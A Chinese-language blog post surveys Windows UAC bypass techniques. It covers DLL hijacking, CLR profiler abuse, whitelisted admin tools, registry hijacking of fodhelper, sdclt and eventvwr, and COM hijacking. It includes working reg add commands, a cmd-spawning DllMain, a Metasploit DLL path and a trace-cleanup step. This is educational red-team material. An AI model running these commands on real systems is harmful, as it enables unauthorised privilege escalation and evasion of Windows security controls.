干貨|Bypass UAC 技術總結
一. UAC
用戶帳戶控制(User Account Control,簡寫作UAC)是微軟公司在其[Windows Vista](https://baike.baidu.com/item/Windows Vista)及更高版本操作系統中采用的一種控制機制,保護系統進行不必要的更改,提升操作系統的穩定性和安全性。
管理員在正常情況下是以低權限運行任務的,這個狀態被稱為被保護的管理員。但當管理員要執行高風險操作(如安裝程序等),就需要提升權限去完成這些任務。這個提升權限的過程通常是這樣的,相信各位都眼熟過。

點擊“是”,管理員就會提升到高權限再去運行該任務。
二. autoElevate與requestedExecutionLevel
autoElevate
當某個EXE文件的文件清單里有 元素時,當執行該文件時會默認提權執行。
我們劫持該exe文件的dll,可以達到Bypass UAC提權的目的。
適用范圍:管理員權限以獲得,要得到高權限管理員權限
一般用工具sigcheck檢測
網上常拿C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe 舉列子


這個東西很有用,是下面部分方法的前提條件
requestedExecutionLevel

有三個不同的參數:asInvoker requireAdministrator highestAvailable 分別對應應用程序以什么權限運行
asInvoker:父進程是什么權限,此應用程序就是什么權限
requireAdministrator:需要以管理員權限來運行,此類應用程序圖標右下方會有個盾牌標記

highestAvailable:此程序以當前用戶能獲取到的最高權限運行。當你在管理員賬戶下運行此程序就會要求權限提升以及彈出UAC框。當你在標準賬戶下運行此程序,由于此賬戶的最高權限就是標準賬戶,所以雙擊便運行
三. 白名單程序
除了剛剛說的autoelevate,還有一類叫白名單程序的應用程序也是打開默認提權的。如服務管理工具下的許多應用都屬于白名單程序,而其中又有些程序執行時需要依賴CLR支持(如事件查看器,任務計劃程序)
四. Bypass UAC
1. DLL劫持
reference:https://www.anquanke.com/post/id/209033
https://www.cnblogs.com/0daybug/p/11719541.html
exe文件運行時會加載許多dll文件,這些dll文件的加載順序是
- 程序所在目錄
- 系統目錄即
SYSTEM32目錄 - 16位系統目錄即
SYSTEM目錄 Windows目錄- 程序加載目錄(
SetCurrentDirecctory) PATH環境變量中列出的目錄- 同時,dll加載也遵循著
Know DLLs注冊表項的機制:Know DLLs注冊表項指定的DLL是已經被操作系統加載過后的DLL,不會被應用程序搜索并加載。在注冊表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLS處可以看見這些dll

在knowdlls表項中的dll是預先就加載進內存空間的,被諸多應用調用著,改動需要高權限。
如果我們在應用程序找到正確的dll之前,將我們自己創造的dll放入優先級更高的搜索目錄讓應用程序優先加載此dll文件,這就造成了dll劫持。但這只是dll劫持的其中一種途徑,他有這些途徑:
(1) DLL替換:用惡意的DLL替換掉合法的DLL
(2) DLL搜索順序劫持:當應用程序加載DLL的時候,如果沒有帶指定DLL的路徑,那么程序將會以特定的順序依次在指定的路徑下搜索待加載的DLL。通過將惡意DLL放在真實DLL之前的搜索位置,就可以劫持搜索順序,劫持的目錄有時候包括目標應用程序的工作目錄。
(3) 虛擬DLL劫持:釋放一個惡意的DLL來代替合法應用程序加載的丟失/不存在的DLL
(4) DLL重定向:更改DLL搜索的路徑,比如通過編輯%PATH%環境變量或 .exe.manifest/.exe.local文件以將搜索路徑定位到包含惡意DLL的地方。
(5) WinSxS DLL替換:將目標DLL相關的WinSxS文件夾中的惡意DLL替換為合法的DLL。此方法通常也被稱為DLL側加載
(6) 相對路徑DLL劫持:將合法的應用程序復制(并有選擇地重命名)與惡意的DLL一起放入到用戶可寫的文件夾中。在使用方法上,它與(簽名的)二進制代理執行有相似之處。它的一個變體是(有點矛盾地稱為)“自帶LOLbin”,其中合法的應用程序帶有惡意的DLL(而不是從受害者機器上的合法位置復制)。
實踐出真知1
這里我們先用第一種方法來進行實驗,實驗對象是C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe和Listary。Listary是一個很好用的檢索小工具,我通過processmonitor,設置好過濾條件,查看SystemPropertiesAdvanced.exe調用的dll時發現它會調用一個Listary下的一個名為ListaryHook.dll的dll。

由于listary目錄權限不高,我們可以直接替換該dll,換成dllmain為打開cmd的dll。然后點擊運行SystemPropertiesAdvanced.exe,就會發現會彈出高權限cmd窗口

bypassuac成功。當然這種都不能算是一個洞,listary并不是人人電腦上都有的,而且這個軟件裝機量應該是極少數少的,所以這里只是提供一個思路,這種洞該怎么去找。
實踐出真知2
這里使用第三種方法進行實驗,實驗對象是eventvwr.msc,它是管理工具中的事件查看器,它依賴于mmc.exe來運行。比如,你想運行它,就得通過mmc eventvwr.msc來運行它,并且在process exploer中只能看到個mmc.exe。
我們process monitor設置過濾如下

cmd運行 mmc eventvwr.msc,查看調用

dll搜索順序確實是 程序目錄->SYSTEM32->SYSTEM->WINDOWS->當前目錄(這里也是SYSTEM32目錄,我認為的原因是mmc會自動提升權限導致當前目錄為System32導致的)->PATH目錄。
我們只需在可寫目錄下植入名為elsext.dll的惡意dll,處理好dll的dllmain函數,就能讓dllmain里的指令被高權限執行
但是無奈我這里環境是win7 sp1,但是這個洞7600才出現,所以復現不了了。但大概思路就是這樣的
2. CLR加載任意DLL
CLR是微軟為.net運行時提供的環境,像java的虛擬機一樣,而clr有一個Profiling機制。這個機制簡而言之便是可以給CLR提供一個dll,當任何高權限.NET運行時都會主動加載該DLL,我們可以構造惡意dll給CLR加載,從而獲得高權限的進程如cmd,從而bypassuac。
至于這個dll如何給CLR,是通過修改以下環境變量實現的
COR_ENABLE_PROFILING = 1
COR_PROFILER={CLSIDor ProgID}
CLR會檢查環境變量中的COR_ENABLE_PROFILING,若為1則檢查通過,進行下一步。
在net4.0以前,若檢查通過,會馬上去查找COR_PROFILER指定的注冊表項,找到其dll路徑并加載
net4.0后,會先查找COR_PROFILER_PATH是否指定dll文件路徑,若沒有再去查找COR_PROFILER指定的注冊表項,找到其dll路徑并加載。
總而言之,我們設置好COR_ENABLE_PROFILING和COR_PROFILER兩個項就可以了。
接下來我們設置用戶環境變量,設置用戶環境變量時不需要高權限(win10似乎設置系統環境變量也不需要)。
以及在注冊表,在指定的CLSID屬性下新建Inprocserver32項,并寫入惡意dll路徑. 然后通過mmc調用一下gpedit.msc這種程序,即可以高權限執行dll。如果dll執行命令為system(“cmd.exe”) 那么就會蹦出來高權限cmd窗口
REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\test\calc.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
mmc gpedit.msc
但我死活復現不起不知道為啥,我的dll這樣寫的
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "pch.h"
#include
#include
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
char cmd[] = "cmd.exe";
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
WinExec(cmd, SW_SHOWNORMAL);
ExitProcess(0);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
另外的,你還可以為COR_PROFILER_PATH設置為如\\server\share\test.dll的smb的路徑,這樣也可以實現bypassuac(沒復現)
3. 白名單程序
odbcad32.exe
這個方法很簡單。打開C:\Windows\system32\odbcad32.exe,然后通過以下方法打開powershell或者cmd

成功bypass
管理工具
之前說過,管理工具有很多白名單程序,如果一個白名單程序有瀏覽文件目錄的功能,就可以以此來創建高權限cmd窗口。這里拿事件查看器舉例
操作-》打開保存的目錄-》文件目錄路徑處輸入powershell-》彈出高權限powershell 以此內推,還有很多相似的管理工具可以這樣利用
4. 注冊表劫持
Fodhelper.exe
Fodhelper.exe win10才有,所以只有win10能通過這個辦法bypassuac,他是一個autoelevate元素程序
我們使用proceemonitor查看事件查看器啟動的時候執行了什么。我們通過排查發現了此處

發現程序試圖打開HKCU\Software\Classes\ms-settings\shell\open\command,但是這個項沒有找到,因為這個項并不存在,于是它查詢 HKCR\ms-settings\Shell\Open,查詢成功便打開其下的Command鍵進行查詢。
我們可以劫持注冊表,往HKCU\Software\Classes\ms-settings\shell\open\command寫入惡意指令從而達到bypassuac的目的。
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /d C:\Windows\System32\cmd.exe /f reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_DWORD /d 00000000 /f
我們寫入如下命令,就能讓Fodhelper.exe 執行時自動高權限執行cmd窗口了
然后消除痕跡
reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command"
sdclt
Win10后這個程序才有自動提升權限的能力
reg add "HKCU\Software\Classes\Folder\shell\open\command" /d C:\Windows\System32\cmd.exe /f reg add "HKCU\Software\Classes\Folder\shell\open\command" /v "DelegateExecute" /f
eventvmr
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /d C:\Windows\System32\cmd.exe /f
win10,win7均無效,不知道是哪個版本的事了,反正記錄下來吧。
5. COM劫持
和dll劫持類似,應用程序在運行時也會去加載指定CLSID的COM組件,其加載順序如下
HKCU\Software\Classes\CLSID HKCR\CLSID HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\
以eventvwr為例
執行該程序時會去尋找{0A29FF9E-7F9C-4437-8B11-F424491E3931}這個組件,這個組件又需要加載InProcServer32指定的DLL,而這個DLL的路徑可由用戶定義。
而eventvwr的這個組件一般在HKCR\CLSID找到,所以可以搜索路徑劫持。
利用以下方法可以劫持(搜索路徑劫持)
reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32 /v "" /t REG_SZ /d "d:\msf_x64.dll" /f
reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32 /v "LoadWithoutCOM" /t REG_SZ /d "" /f
reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32 /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder /v "HideOnDesktop" /t REG_SZ /d "" /f
reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder /v "Attributes" /t REG_DWORD /d 0xf090013d /f
6. 利用com接口
ICMLuaUtil
五. UACME
一個開源項目,記錄了許多Bypassuac的方法。
https://github.com/hfiref0x/UACME/tree/v3.2.x
作者:ConsT27
原文鏈接:
https://www.const27.com


